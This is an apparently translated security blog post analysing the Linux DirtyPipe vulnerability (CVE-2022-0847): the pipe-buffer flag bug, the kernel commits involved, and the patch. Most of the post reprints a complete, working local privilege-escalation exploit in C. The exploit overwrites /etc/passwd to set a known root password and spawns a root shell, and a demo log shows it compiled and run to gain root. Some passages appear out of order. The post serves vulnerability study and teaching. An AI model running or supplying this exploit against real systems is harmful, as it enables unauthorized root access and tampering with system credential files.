
In-depth analysis and proof-of-concept exploit for CVE-2022-0847 (DirtyPipe), a Linux kernel vulnerability enabling arbitrary file overwrite and local privilege escalation via uninitialized pipe buffer flags.
title: CVE-2022-0847 (DirtyPipe Local Privilege Escalation) Vulnerability Analysis date: 2022-03-08 14:41:20 tags: - Linux Privilege Escalation categories: - Security Research
CVE-2022-0847is a vulnerability in the Linux kernel since version 5.8, allowing an attacker to overwrite data in any read-only file. This can elevate ordinary privileges to root, because an unprivileged process can inject code into a root process.
CVE-2022-0847is similar toCVE-2016-5195 "Dirty Cow", and is easy to exploit. The vulnerability author named itDirty Pipe.
This blog is mainly used to record related security incidents and vulnerability articles for learning, communication and testing. Any direct or indirect consequences and damages caused by the dissemination or use of the information or tools provided in this blog article are the responsibility of the user. The article author assumes no responsibility.
Severity: High
POC/EXP: Public
Affected Versions: Linux kernel 5.8 and later versions
Note: Safe versions: Linux kernel >= 5.16.11, Linux kernel >= 5.15.25, Linux kernel >= 5.10.102
Here is a brief introduction to the vulnerability details.
Several concepts:
Linux pipe: Half-duplex, data flow can only go from one end to the other.
pipe_buffer: Pipe cache, used to temporarily store data written to the pipe. Read and write operations both occur in the pipe cache.
page: Page frame, 4KB, has a one-to-one relationship with the pipe cache.
pipe_buf_operations: Used to store pipe buffer operation sets.
can_merge: Merge flag. If the generic pipe read/write may merge data into an existing buffer, it is set to 1. If set to 0, a new pipe page segment is always used for new data.
splice(): Moves data between two file descriptors. Like the sendfile() function, it supports pipes and is zero-copy. It binds the page cache of the file with the pipe cache, so that writes affect both simultaneously. When checking permissions, it only checks whether the source file has read permissions; there is no permission check on write. The approximate call chain is:
// fs/splice.c
syscall --> do_splice --> do_splice_to --> splice_read(generic_file_splice_read()) --> call_read_iter(generic_file_read_iter)
// linux/mm/filemap.c
generic_file_read_iter --> filemap_read --> copy_folio_to_iter
// linux/lib/iov_iter.c
copy_folio_to_iter --> __copy_folio_to_iter --> copy_page_to_iter_pipe

History of Linux pipe "merge" detection:
Based on the author's introduction, we briefly analyze the code.
The initial Linux system had the can_merge flag, as introduced in the concept, to mark whether new data can be written to an existing pipe buffer.
Commit 5274f052e7b3 added the splice() function, but the verification did not change. It still judged whether the current pipe buffer was available based on the can_merge flag.


Commit 01e7187b4119 stopped using the can_merge flag and instead compared the struct pipe_buf_operations pointer. Since only the anon_pipe_buf_ops type allowed new data to be written, it only needed to verify whether it was that type.


Therefore, the author came up with the following exploitation approach:
PIPE_BUF_FLAG_CAN_MERGE flag in the pipe_buffer.splice binds the pipe cache to the page cache.write eventually calls copy_page_from_iter() to perform the write, and because of the PIPE_BUF_FLAG_CAN_MERGE flag, the write is completed directly.Exp analysis
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <[email protected]>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort(); // Create p[0] and p[1] pointing to the two ends of the pipe. The former reads, the latter writes.
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); // Get the pipe size
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; // Fill the pipe and set PIPE_BUF_FLAG_CAN_MERGE
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) { // Drain the pipe, but keep the flags
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main() {
const char *const path = "/etc/passwd"; // Define the target file path
printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n"); // Create backup /tmp/passwd.bak
FILE *f1 = fopen("/etc/passwd", "r");
FILE *f2 = fopen("/tmp/passwd.bak", "w");
if (f1 == NULL) { // Check if file opening is successful
printf("Failed to open /etc/passwd\n");
exit(EXIT_FAILURE);
} else if (f2 == NULL) {
printf("Failed to open /tmp/passwd.bak\n");
fclose(f1);
exit(EXIT_FAILURE);
}
char c;
while ((c = fgetc(f1)) != EOF) // Write byte by byte
fputc(c, f2);
fclose(f1);
fclose(f2);
loff_t offset = 4; // after the "root" // Define offset, i.e., the target position after the "root" field
const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron // Define the data to overwrite
printf("Setting root password to \"aaron\"...\n");
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) { // Check if write position is on a page boundary
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1; // Define the end of the current page
const loff_t end_offset = offset + (loff_t)data_size; // Define the end of the overwrite data
if (end_offset > next_page) { // Check if overwrite crosses page boundary
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-) // Open the target file read-only
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st; // Define st to hold target file info
if (fstat(fd, &st)) { // Get target file status
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) { // Check if offset is greater than file size
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) { // Check if overwrite end exceeds file size
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p); // Create pipe with flags set to PIPE_BUF_FLAG_CAN_MERGE
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset; // Position to 1 byte before offset
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); // Splice that byte to the pipe
if (nbytes < 0) { // Check if splicing succeeded, -1 means failure
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) { // 0 means no data to move
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size); // Write overwrite data to the pipe
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \""
"echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
"cp /tmp/passwd.bak /etc/passwd;"
"echo \\\"Done! Popping shell... (run commands now)\\\";"
"/bin/sh;"
"\" root"};
execv("/bin/sh", argv); // Spawn a root shell
printf("system() function call seems to have failed :(\n");
return EXIT_SUCCESS;
}
Currently, a Kali virtual machine is used as the demonstration system.
Target system requirement: gcc must be present.
wzy@wzy:/tmp$ uname -a
Linux wzy 5.16.0-kali1-amd64 #1 SMP PREEMPT Debian 5.16.7-2kali1 (2022-02-10) x86_64 GNU/Linux
git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
./compile.sh # Compile with gcc
./exploit # Run the exploit, returns the following error info
wzy@wzy:/tmp/CVE-2022-0847-DirtyPipe-Exploit$ ./exploit
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "aaron"...
system() function call seems to have failed :(
su root
Password: aaron
After login, we have root privileges
passwd filemv /tmp/passwd.bak /etc/passwd
First, fix the merge attribute setting.

Then, add the flags initialization.


We sincerely thank Psyduck for spending valuable time analyzing and clarifying the principles based on the public exploit. The expert mentioned that they also performed corresponding debugging at the underlying level, but there is no obvious data call chain yet. They are still working on it.
This blog is mainly used to record related security incidents and vulnerability articles for learning, communication and testing. Any direct or indirect consequences and damages caused by the dissemination or use of the information or tools provided in this blog article are the responsibility of the user. The article author assumes no responsibility.
Commit 241699cd72a8 added two new functions that allocate new struct pipe_buf_operations but do not initialize their flags.

Commit f6dd975583bd converted this pointer comparison into a per-buffer flag PIPE_BUF_FLAG_CAN_MERGE comparison, and made it possible to inject PIPE_BUF_FLAG_CAN_MERGE. At the same time, the definition and use of other types of buf_ops were removed.


